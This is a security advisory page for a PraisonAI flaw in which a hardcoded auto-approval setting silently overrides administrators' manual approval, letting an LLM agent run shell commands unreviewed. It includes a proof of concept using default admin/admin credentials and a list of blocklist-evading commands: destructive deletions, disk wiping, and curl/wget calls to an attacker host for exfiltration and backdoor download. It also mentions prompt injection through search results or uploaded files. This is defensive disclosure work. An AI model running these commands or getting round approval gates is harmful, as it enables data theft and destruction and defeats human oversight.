GHSA-qwgj-rrpj-75xm: PraisonAI Hardcoded `approval_mode="auto"` Vulnerability

HIGH
CVSS 8.8
CWE-863
Published
Advisory Summary

GHSA-qwgj-rrpj-75xm is a HIGH (CVSS 8.8) hardcoded `approval_mode="auto"` vulnerability (CWE-863: Incorrect Authorization) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves hardcoded `approval_mode="auto"` in chainlit ui overrides administrator configuration, enabling unapproved shell command execution. Remediation is available by upgrading affected packages to version 4.5.128.

GHSA-qwgj-rrpj-75xm at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-qwgj-rrpj-75xm
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-863: Incorrect Authorization
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-qwgj-rrpj-75xm

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.5.128
pip install PraisonAI>=4.5.128
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-qwgj-rrpj-75xm, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.128), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt. ## Details The application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`. However, both UI modules unconditionally override this after loading: **`chat.py:156-159`:** ```python config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual config.workspace = os.getcwd() config.approval_mode = "auto" # hardcoded override, ignoring admin config ``` **`code.py:155-158`:** ```python config = ToolConfig.from_env() config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd()) config.approval_mode = "auto" # same hardcoded override ``` This flows to `agent_tools.py:347-348` in the `acp_execute_command` function: ```python auto_approve = runtime.config.approval_mode == "auto" # always True approved = await orchestrator.approve_plan(plan, auto=auto_approve) ``` The plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`: ```python result = subprocess.run( step.target, shell=True, # shell execution capture_output=True, text=True, cwd=str(workspace), timeout=30 ) ``` **Command sanitization is insufficient.** Two blocklists exist: 1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\n`, `\r` 2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` `` Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c "import os; os.unlink('/important')"`, `dd if=/dev/zero of=/dev/sda`. ## PoC **Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed. ```bash # Step 1: Start the Chainlit UI praisonai ui chat # Step 2: Log in with default credentials at http://localhost:8000 # Username: admin # Password: admin # Step 3: Send a chat message requesting command execution: # "Please run this command for me: cat /etc/passwd" # The LLM agent calls acp_execute_command("cat /etc/passwd") # _sanitize_command passes (no blocked patterns) # approval_mode="auto" → auto-approved at agent_tools.py:347-348 # subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458 # Contents of /etc/passwd returned in chat # Step 4: Demonstrate the override of admin configuration: # Even with PRAISON_APPROVAL_MODE=manual set in the environment, # chat.py:159 overwrites it to "auto" export PRAISON_APPROVAL_MODE=manual praisonai ui chat # Commands still auto-approve because of the hardcoded override ``` **Commands that bypass sanitization blocklists:** - `rm -rf /home/user/documents` — no blocked characters - `chmod 777 /etc/shadow` — no blocked characters - `curl http://attacker.example.com/exfil` — no blocked characters - `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters - `python3 -c "__import__('os').unlink('/important/file')"` — no blocked characters ## Impact - **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process. - **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys). - **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code. - **Availability impact:** Kill processes, consume disk/memory, delete critical data. - **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security. - **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent. ## Recommended Fix Remove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`: ```python # Before (chat.py:156-159): config = ToolConfig.from_env() config.workspace = os.getcwd() config.approval_mode = "auto" # Trust mode - auto-approve all tool executions # After: config = ToolConfig.from_env() config.workspace = os.getcwd() # Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig # Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval ``` Additionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist: ```python import shlex ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"} def _sanitize_command(command: str) -> str: # Existing blocklist checks... # Additionally, check the base command against allowlist try: parts = shlex.split(command) except ValueError: raise ValueError(f"Could not parse command: {command!r}") base_cmd = os.path.basename(parts[0]) if parts else "" if base_cmd not in ALLOWED_COMMANDS: raise ValueError( f"Command {base_cmd!r} is not in the allowed command list. " f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}" ) return command ```

GHSA-qwgj-rrpj-75xm Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.5.128
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.5.128
4.5.128

References

Frequently Asked Questions

What is GHSA-qwgj-rrpj-75xm?
GHSA-qwgj-rrpj-75xm is a security vulnerability in PraisonAI involving Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution under CWE-863: Incorrect Authorization.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.5.128 across affected packages: PraisonAI.
What version fixes GHSA-qwgj-rrpj-75xm?
Upgrading to 4.5.128 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.5.128. Upgrade your dependency to 4.5.128 or later.
What is the CVSS score of GHSA-qwgj-rrpj-75xm?
GHSA-qwgj-rrpj-75xm has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-qwgj-rrpj-75xm?
GHSA-qwgj-rrpj-75xm is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check PyPI dependencies for GHSA-qwgj-rrpj-75xm?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qwgj-rrpj-75xm",
  "modified" : "2026-04-10T19:25:49Z",
  "published" : "2026-04-10T19:25:49Z",
  "aliases" : [ ],
  "summary" : "PraisonAI: Hardcoded `approval_mode=\"auto\"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution",
  "details" : "## Summary\n\nThe Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = \"auto\"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any \"manual\" or \"scoped\" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.\n\n## Details\n\nThe application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.\n\nHowever, both UI modules unconditionally override this after loading:\n\n**`chat.py:156-159`:**\n```python\nconfig = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"        # hardcoded override, ignoring admin config\n```\n\n**`code.py:155-158`:**\n```python\nconfig = ToolConfig.from_env()\nconfig.workspace = os.environ.get(\"PRAISONAI_CODE_REPO_PATH\", os.getcwd())\nconfig.approval_mode = \"auto\"        # same hardcoded override\n```\n\nThis flows to `agent_tools.py:347-348` in the `acp_execute_command` function:\n```python\nauto_approve = runtime.config.approval_mode == \"auto\"   # always True\napproved = await orchestrator.approve_plan(plan, auto=auto_approve)\n```\n\nThe plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:\n```python\nresult = subprocess.run(\n    step.target,\n    shell=True,           # shell execution\n    capture_output=True,\n    text=True,\n    cwd=str(workspace),\n    timeout=30\n)\n```\n\n**Command sanitization is insufficient.** Two blocklists exist:\n1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\\n`, `\\r`\n2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` ``\n\nBoth only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c \"import os; os.unlink('/important')\"`, `dd if=/dev/zero of=/dev/sda`.\n\n## PoC\n\n**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.\n\n```bash\n# Step 1: Start the Chainlit UI\npraisonai ui chat\n\n# Step 2: Log in with default credentials at http://localhost:8000\n# Username: admin\n# Password: admin\n\n# Step 3: Send a chat message requesting command execution:\n# \"Please run this command for me: cat /etc/passwd\"\n\n# The LLM agent calls acp_execute_command(\"cat /etc/passwd\")\n# _sanitize_command passes (no blocked patterns)\n# approval_mode=\"auto\" → auto-approved at agent_tools.py:347-348\n# subprocess.run(\"cat /etc/passwd\", shell=True) executes at action_orchestrator.py:458\n# Contents of /etc/passwd returned in chat\n\n# Step 4: Demonstrate the override of admin configuration:\n# Even with PRAISON_APPROVAL_MODE=manual set in the environment,\n# chat.py:159 overwrites it to \"auto\"\nexport PRAISON_APPROVAL_MODE=manual\npraisonai ui chat\n# Commands still auto-approve because of the hardcoded override\n```\n\n**Commands that bypass sanitization blocklists:**\n- `rm -rf /home/user/documents` — no blocked characters\n- `chmod 777 /etc/shadow` — no blocked characters  \n- `curl http://attacker.example.com/exfil` — no blocked characters\n- `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters\n- `python3 -c \"__import__('os').unlink('/important/file')\"` — no blocked characters\n\n## Impact\n\n- **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.\n- **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).\n- **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code.\n- **Availability impact:** Kill processes, consume disk/memory, delete critical data.\n- **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.\n- **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.\n\n## Recommended Fix\n\nRemove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`:\n\n```python\n# Before (chat.py:156-159):\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"  # Trust mode - auto-approve all tool executions\n\n# After:\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\n# Respect PRAISON_APPROVAL_MODE from environment; defaults to \"auto\" in ToolConfig\n# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval\n```\n\nAdditionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:\n\n```python\nimport shlex\n\nALLOWED_COMMANDS = {\"ls\", \"cat\", \"head\", \"tail\", \"grep\", \"find\", \"echo\", \"pwd\", \"wc\", \"sort\", \"uniq\", \"diff\", \"git\", \"python\", \"pip\", \"node\", \"npm\"}\n\ndef _sanitize_command(command: str) -> str:\n    # Existing blocklist checks...\n    \n    # Additionally, check the base command against allowlist\n    try:\n        parts = shlex.split(command)\n    except ValueError:\n        raise ValueError(f\"Could not parse command: {command!r}\")\n    \n    base_cmd = os.path.basename(parts[0]) if parts else \"\"\n    if base_cmd not in ALLOWED_COMMANDS:\n        raise ValueError(\n            f\"Command {base_cmd!r} is not in the allowed command list. \"\n            f\"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}\"\n        )\n    \n    return command\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.128"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:25:49Z",
    "nvd_published_at" : null
  }
}